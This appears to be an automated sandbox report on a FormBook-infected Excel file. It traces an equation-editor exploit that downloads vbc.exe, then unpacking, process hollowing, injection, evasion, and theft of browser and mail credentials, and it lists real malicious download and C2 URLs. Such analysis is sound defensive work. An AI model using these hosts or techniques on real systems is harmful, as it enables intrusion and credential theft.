          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX

          Malware Analysis System Evasion

          barindex
          Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeEvasive API call chain: GetPEB, DecisionNodes, ExitProcess
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1580Thread sleep time: -180000s >= -30000s
          Source: C:\Windows\explorer.exe TID: 1944Thread sleep count: 40 > 30
          Source: C:\Windows\explorer.exe TID: 1940Thread sleep time: -180000s >= -30000s
          Source: C:\Windows\SysWOW64\wscript.exe TID: 3560Thread sleep time: -60000s >= -30000s
          Source: C:\Windows\explorer.exeLast function: Thread delayed
          Source: C:\Windows\SysWOW64\wscript.exeLast function: Thread delayed
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00990101 rdtsc
          Source: C:\Users\Public\vbc.exeAPI call chain: ExitProcess graph end node
          Source: explorer.exe, 0000000C.00000002.1193710945.0000000008675000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
          Source: explorer.exe, 0000000C.00000002.1186521094.0000000002CBF000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: War_VMware_SATA_CD01_______________1
          Source: explorer.exe, 0000000C.00000000.1039865017.00000000043F0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
          Source: wscript.exe, 00000010.00000002.1184336192.000000000069C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
          Source: explorer.exe, 0000000C.00000002.1184285879.000000000037B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.08tp
          Source: explorer.exe, 0000000C.00000000.1039865017.0000000004423000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
          Source: explorer.exe, 0000000C.00000000.1046750282.000000000869E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0e
          Source: explorer.exe, 0000000C.00000000.1039865017.000000000434F000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ide\cdromnecvmwar_vmware_sata_cd01_______________1.00____\6&373888b8&0&1.0.0Q
          Source: explorer.exe, 0000000C.00000000.1039865017.00000000043F0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: v6nel\5&35c44269e\cdromnvmware_sata_
          Source: explorer.exe, 0000000C.00000000.1003655931.0000000000335000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}(
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeProcess information queried: ProcessInformation
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 6_2_002607DA GetSystemInfo,
          Source: C:\Users\Public\vbc.exeCode function: 5_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,
          Source: C:\Users\Public\vbc.exeCode function: 5_2_0040699E FindFirstFileW,FindClose,
          Source: C:\Users\Public\vbc.exeCode function: 5_2_0040290B FindFirstFileW,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 6_2_004089B8 FindFirstFileExW,
          Source: C:\Windows\SysWOW64\wscript.exeFile Volume queried: C:\Users\user\AppData\Local FullSizeInformation
          Source: C:\Windows\SysWOW64\wscript.exeFile Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_035B06CC mov edx, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 6_2_0026005F mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 6_2_0026013E mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 6_2_00260109 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 6_2_0026017B mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009526F8 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeProcess queried: DebugPort
          Source: C:\Windows\SysWOW64\wscript.exeProcess queried: DebugPort
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 6_2_00401754 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 6_2_0040B06F GetProcessHeap,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00990101 rdtsc
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeProcess token adjusted: Debug
          Source: C:\Windows\SysWOW64\wscript.exeProcess token adjusted: Debug
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0040CF93 LdrLoadDll,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 6_2_004018B6 SetUnhandledExceptionFilter,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 6_2_00401754 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 6_2_0040632B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 6_2_00401BB3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

          HIPS / PFW / Operating System Protection Evasion

          barindex
          System process connects to network (likely due to code injection or exploit)
          Source: C:\Windows\SysWOW64\wscript.exeNetwork Connect: 45.33.6.223 80
          Source: C:\Windows\explorer.exeNetwork Connect: 78.141.192.145 80
          Source: C:\Windows\explorer.exeDomain query: www.white-hat.uk
          Source: C:\Windows\explorer.exeDomain query: www.bitservicesltd.com
          Source: C:\Windows\explorer.exeDomain query: www.gritslab.com
          Source: C:\Windows\explorer.exeNetwork Connect: 161.97.163.8 80
          Source: C:\Windows\explorer.exeNetwork Connect: 94.176.104.86 80
          Source: C:\Windows\SysWOW64\wscript.exeDomain query: www.sqlite.org
          Maps a DLL or memory area into another process
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeSection loaded: unknown target: C:\Users\user\AppData\Local\Temp\mcwfy.exe protection: execute and read and write
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeSection loaded: unknown target: C:\Windows\SysWOW64\wscript.exe protection: execute and read and write
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeSection loaded: unknown target: C:\Windows\SysWOW64\wscript.exe protection: execute and read and write
          Source: C:\Windows\SysWOW64\wscript.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: read write
          Source: C:\Windows\SysWOW64\wscript.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
          Source: C:\Windows\SysWOW64\wscript.exeSection loaded: unknown target: C:\Program Files (x86)\Mozilla Firefox\firefox.exe protection: read write
          Source: C:\Windows\SysWOW64\wscript.exeSection loaded: unknown target: C:\Program Files (x86)\Mozilla Firefox\firefox.exe protection: execute and read and write
          Source: C:\Windows\SysWOW64\wscript.exeSection loaded: unknown target: C:\Program Files (x86)\Mozilla Firefox\firefox.exe protection: execute and read and write
          DLL side loading technique detected
          Source: C:\Windows\SysWOW64\wscript.exeSection loaded: C:\Users\user\AppData\Local\Temp\sqlite3.dll
          Sample uses process hollowing technique
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeSection unmapped: C:\Windows\SysWOW64\wscript.exe base address: 40000
          Source: C:\Windows\SysWOW64\wscript.exeSection unmapped: C:\Program Files (x86)\Mozilla Firefox\firefox.exe base address: E10000
          Queues an APC in another process (thread injection)
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeThread APC queued: target process: C:\Windows\explorer.exe
          Modifies the context of a thread in another process (thread injection)
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeThread register set: target process: 1860
          Source: C:\Windows\SysWOW64\wscript.exeThread register set: target process: 1860
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
          Source: C:\Users\Public\vbc.exeProcess created: C:\Users\user\AppData\Local\Temp\mcwfy.exe "C:\Users\user\AppData\Local\Temp\mcwfy.exe" C:\Users\user\AppData\Local\Temp\ytljtt.f
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeProcess created: C:\Users\user\AppData\Local\Temp\mcwfy.exe C:\Users\user\AppData\Local\Temp\mcwfy.exe
          Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Program Files (x86)\Mozilla Firefox\firefox.exe C:\Program Files (x86)\Mozilla Firefox\Firefox.exe
          Source: explorer.exe, 0000000C.00000000.1010632551.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000C.00000002.1184631771.0000000000830000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
          Source: explorer.exe, 0000000C.00000000.1010632551.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000C.00000002.1184285879.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1003655931.0000000000335000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Progman
          Source: explorer.exe, 0000000C.00000000.1010632551.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000C.00000002.1184631771.0000000000830000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Program Manager<
          Source: C:\Windows\SysWOW64\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\o0whqph.zip VolumeInformation
          Source: C:\Windows\SysWOW64\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\o0whqph.zip VolumeInformation
          Source: C:\Windows\SysWOW64\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\o0whqph.zip VolumeInformation
          Source: C:\Windows\SysWOW64\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\o0whqph.zip VolumeInformation
          Source: C:\Windows\SysWOW64\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\o0whqph.zip VolumeInformation
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 6_2_004019C5 cpuid
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 6_2_0040163B GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,
          Source: C:\Users\Public\vbc.exeCode function: 5_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

          Stealing of Sensitive Information

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 8.2.mcwfy.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 8.2.mcwfy.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000010.00000002.1184042628.00000000000E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000008.00000002.1055408046.00000000003B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000012.00000002.1137588402.0000000000230000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000008.00000002.1055247288.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.1184129727.00000000002B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000008.00000002.1055435528.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.1184187420.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Tries to steal Mail credentials (via file / registry access)
          Source: C:\Windows\SysWOW64\wscript.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\
          Tries to harvest and steal browser information (history, passwords, etc)
          Source: C:\Windows\SysWOW64\wscript.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
          Source: C:\Windows\SysWOW64\wscript.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State
          Source: C:\Windows\SysWOW64\wscript.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
          Source: C:\Windows\SysWOW64\wscript.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies

          Remote Access Functionality

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 8.2.mcwfy.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 8.2.mcwfy.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000010.00000002.1184042628.00000000000E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000008.00000002.1055408046.00000000003B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000012.00000002.1137588402.0000000000230000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000008.00000002.1055247288.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.1184129727.00000000002B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000008.00000002.1055435528.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.1184187420.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

          Mitre Att&ck Matrix

          Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
          Valid Accounts11
          Scripting          		11
          DLL Side-Loading          		11
          DLL Side-Loading          		1
          Disable or Modify Tools          		1
          OS Credential Dumping          		1
          System Time Discovery          		Remote Services1
          Archive Collected Data          		Exfiltration Over Other Network Medium35
          Ingress Tool Transfer          		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without Authorization1
          System Shutdown/Reboot
          Default Accounts1
          Native API          		Boot or Logon Initialization Scripts1
          Access Token Manipulation          		1
          Deobfuscate/Decode Files or Information          		LSASS Memory2
          File and Directory Discovery          		Remote Desktop Protocol1
          Man in the Browser          		Exfiltration Over Bluetooth1
          Encrypted Channel          		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
          Domain Accounts1
          Shared Modules          		Logon Script (Windows)512
          Process Injection          		11
          Scripting          		Security Account Manager28
          System Information Discovery          		SMB/Windows Admin Shares1
          Data from Local System          		Automated Exfiltration4
          Non-Application Layer Protocol          		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
          Local Accounts23
          Exploitation for Client Execution          		Logon Script (Mac)Logon Script (Mac)21
          Obfuscated Files or Information          		NTDS41
          Security Software Discovery          		Distributed Component Object Model1
          Email Collection          		Scheduled Transfer14
          Application Layer Protocol          		SIM Card SwapCarrier Billing Fraud
          Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script11
          Software Packing          		LSA Secrets2
          Virtualization/Sandbox Evasion          		SSH1
          Clipboard Data          		Data Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
          Replication Through Removable MediaLaunchdRc.commonRc.common11
          DLL Side-Loading          		Cached Domain Credentials2
          Process Discovery          		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
          External Remote ServicesScheduled TaskStartup ItemsStartup Items111
          Masquerading          		DCSync1
          Remote System Discovery          		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
          Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job2
          Virtualization/Sandbox Evasion          		Proc FilesystemNetwork Service ScanningShared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
          Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)1
          Access Token Manipulation          		/etc/passwd and /etc/shadowSystem Network Connections DiscoverySoftware Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction
          Supply Chain CompromiseAppleScriptAt (Windows)At (Windows)512
          Process Injection          		Network SniffingProcess DiscoveryTaint Shared ContentLocal Data StagingExfiltration Over Unencrypted/Obfuscated Non-C2 ProtocolFile Transfer ProtocolsData Encrypted for Impact

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet
          behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 830388 Sample: d0#U10dc.xls Startdate: 20/03/2023 Architecture: WINDOWS Score: 100 55 www.222ambking.org 2->55 77 Malicious sample detected (through community Yara rule) 2->77 79 Antivirus detection for URL or domain 2->79 81 Antivirus / Scanner detection for submitted sample 2->81 83 12 other signatures 2->83 12 EQNEDT32.EXE 12 2->12         started        17 AcroRd32.exe 28 2->17         started        19 EXCEL.EXE 54 137 2->19         started        21 WINWORD.EXE 30 2->21         started        signatures3 process4 dnsIp5 67 103.189.202.84, 49171, 80 AARNET-AS-APAustralianAcademicandResearchNetworkAARNe unknown 12->67 51 C:\Users\user\AppData\Local\...\vbc[1].exe, PE32 12->51 dropped 53 C:\Users\Public\vbc.exe, PE32 12->53 dropped 97 Office equation editor establishes network connection 12->97 99 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 12->99 23 vbc.exe 19 12->23         started        27 RdrCEF.exe 2 17->27         started        file6 signatures7 process8 dnsIp9 47 C:\Users\user\AppData\Local\Temp\mcwfy.exe, PE32 23->47 dropped 87 Machine Learning detection for dropped file 23->87 30 mcwfy.exe 23->30         started        65 192.168.2.255, 137, 138 unknown unknown 27->65 file10 signatures11 process12 signatures13 101 Detected unpacking (changes PE section rights) 30->101 103 Machine Learning detection for dropped file 30->103 105 Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors) 30->105 107 Maps a DLL or memory area into another process 30->107 33 mcwfy.exe 30->33         started        process14 signatures15 69 Modifies the context of a thread in another process (thread injection) 33->69 71 Maps a DLL or memory area into another process 33->71 73 Sample uses process hollowing technique 33->73 75 Queues an APC in another process (thread injection) 33->75 36 explorer.exe 8 33->36 injected process16 dnsIp17 57 white-hat.uk 94.176.104.86, 49172, 80 GTSCEGTSCentralEuropeAntelGermanyCZ Romania 36->57 59 www.bitservicesltd.com 161.97.163.8, 49177, 49178, 49179 CONTABODE United States 36->59 61 3 other IPs or domains 36->61 85 System process connects to network (likely due to code injection or exploit) 36->85 40 wscript.exe 36->40         started        signatures18 process19 dnsIp20 63 www.sqlite.org 45.33.6.223, 49173, 80 LINODE-APLinodeLLCUS United States 40->63 49 C:\Users\user\AppData\Local\...\sqlite3.dll, PE32 40->49 dropped 89 System process connects to network (likely due to code injection or exploit) 40->89 91 Tries to steal Mail credentials (via file / registry access) 40->91 93 Tries to harvest and steal browser information (history, passwords, etc) 40->93 95 4 other signatures 40->95 45 firefox.exe 40->45         started        file21 signatures22 process23

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          d0#U10dc.xls31%ReversingLabsDocument-OLE.Exploit.MathType
          d0#U10dc.xls100%AviraEXP/CVE-2018-0798.Gen

          Dropped Files

          SourceDetectionScannerLabelLink
          C:\Users\Public\vbc.exe100%Joe Sandbox ML
          C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe100%Joe Sandbox ML
          C:\Users\user\AppData\Local\Temp\mcwfy.exe100%Joe Sandbox ML
          C:\Users\user\AppData\Local\Temp\sqlite3.dll0%ReversingLabs

          Unpacked PE Files

          SourceDetectionScannerLabelLinkDownload
          6.2.mcwfy.exe.280000.0.unpack100%AviraTR/Crypt.ZPACK.GenDownload File
          8.2.mcwfy.exe.400000.0.unpack100%AviraTR/Crypt.ZPACK.GenDownload File

          Domains

          ⊘No Antivirus matches

          URLs

          SourceDetectionScannerLabelLink
          http://www.iis.fhg.de/audioPA0%URL Reputationsafe
          http://www.mozilla.com00%URL Reputationsafe
          http://treyresearch.net0%URL Reputationsafe
          http://windowsmedia.com/redir/services.asp?WMPFriendly=true0%URL Reputationsafe
          http://java.sun.com0%URL Reputationsafe
          http://www.white-hat.uk0%Avira URL Cloudsafe
          http://103.189.202.84/889r12/vbc.exe100%Avira URL Cloudmalware
          http://www.fclaimrewardccpointq.shopReferer:0%Avira URL Cloudsafe
          http://www.energyservicestation.comReferer:0%Avira URL Cloudsafe
          http://www.germanreps.com0%Avira URL Cloudsafe
          http://www.icra.org/vocabulary/.0%URL Reputationsafe
          http://www.avisrezervee.comReferer:0%Avira URL Cloudsafe
          http://computername/printers/printername/.printer0%Avira URL Cloudsafe
          http://servername/isapibackend.dll0%Avira URL Cloudsafe
          http://www.%s.comPA0%URL Reputationsafe
          http://www.fclaimrewardccpointq.shop/u2kb/100%Avira URL Cloudmalware
          http://www.fclaimrewardccpointq.shop/u2kb/www.fclaimrewardccpointq.shop100%Avira URL Cloudmalware
          http://www.mygloballojistik.online/u2kb/0%Avira URL Cloudsafe
          http://www.bitservicesltd.com/u2kb/100%Avira URL Cloudmalware
          http://www.un-object.com/u2kb/100%Avira URL Cloudmalware
          http://www.energyservicestation.com/u2kb/www.energyservicestation.com100%Avira URL Cloudmalware
          http://www.gritslab.com/u2kb/www.gritslab.com100%Avira URL Cloudmalware
          http://www.thedivinerudraksha.com/u2kb/100%Avira URL Cloudmalware
          http://www.white-hat.uk/u2kb/www.white-hat.uk100%Avira URL Cloudmalware
          http://www.gritslab.com/u2kb/100%Avira URL Cloudmalware
          http://wellformedweb.org/CommentAPI/0%URL Reputationsafe
          http://www.222ambking.orgReferer:0%Avira URL Cloudsafe
          http://www.thedivinerudraksha.com/u2kb/www.thedivinerudraksha.com100%Avira URL Cloudmalware
          http://www.mygloballojistik.online/u2kb/www.mygloballojistik.online0%Avira URL Cloudsafe
          http://ocsp.thawte.com00%URL Reputationsafe
          http://www.thedivinerudraksha.comReferer:0%Avira URL Cloudsafe
          http://white-hat.uk/u2kb/?MX=PXfMycAZpTAipct8YcIlv100%Avira URL Cloudmalware
          http://www.younrock.com0%Avira URL Cloudsafe
          http://103.189.202.84/889r12/vbc.exehhC:100%Avira URL Cloudmalware
          http://www.un-object.com/u2kb/www.un-object.com100%Avira URL Cloudmalware
          http://www.ecomofietsen.com/u2kb/100%Avira URL Cloudmalware
          http://www.shapshit.xyz/u2kb/100%Avira URL Cloudmalware
          http://www.avisrezervee.com/u2kb/100%Avira URL Cloudmalware
          http://www.employerseervices.com0%Avira URL Cloudsafe
          http://www.un-object.comReferer:0%Avira URL Cloudsafe
          http://www.222ambking.org/u2kb/100%Avira URL Cloudmalware
          http://www.ecomofietsen.com/u2kb/www.ecomofietsen.com100%Avira URL Cloudmalware
          http://www.white-hat.ukReferer:0%Avira URL Cloudsafe
          http://www.bitservicesltd.com/u2kb/www.bitservicesltd.com100%Avira URL Cloudmalware
          http://103.189.202.84/889r12/vbc.exer100%Avira URL Cloudmalware
          http://www.avisrezervee.com/u2kb/www.avisrezervee.com100%Avira URL Cloudmalware
          http://www.bitservicesltd.comReferer:0%Avira URL Cloudsafe
          http://www.bitservicesltd.com/u2kb/?MX=rr+sOBvEXsBdGevUkpEFvjOGSuYjzi1YNHmXivr92FQhRIIYsedR2a+6GoV1WAKeGdj+MTdX512lJXnwfbSEi+kURcMlXNjU4ipRv+g=&uFI_=sroxa_9G7qh93100%Avira URL Cloudmalware
          http://www.thewildphotographer.co.uk/u2kb/www.thewildphotographer.co.uk100%Avira URL Cloudmalware
          http://localizability/practices/XML.asp0%Avira URL Cloudsafe
          http://103.189.202.84/889r12/vbc.exej100%Avira URL Cloudmalware
          http://www.white-hat.uk/u2kb/?MX=PXfMycAZpTAipct8YcIlv+jRzdgnyvgF2k7967nf/qU1A0mUqq9Jlnm9rK8XSf3D04yKTuePtKPnTC045fzMwSdM+ozxnu9rCO36QPo=&uFI_=sroxa_9G7qh93100%Avira URL Cloudmalware
          http://www.mygloballojistik.onlineReferer:0%Avira URL Cloudsafe
          http://www.shapshit.xyz0%Avira URL Cloudsafe
          http://www.mygloballojistik.online0%Avira URL Cloudsafe
          http://www.thedivinerudraksha.com0%Avira URL Cloudsafe
          http://www.ecomofietsen.com0%Avira URL Cloudsafe
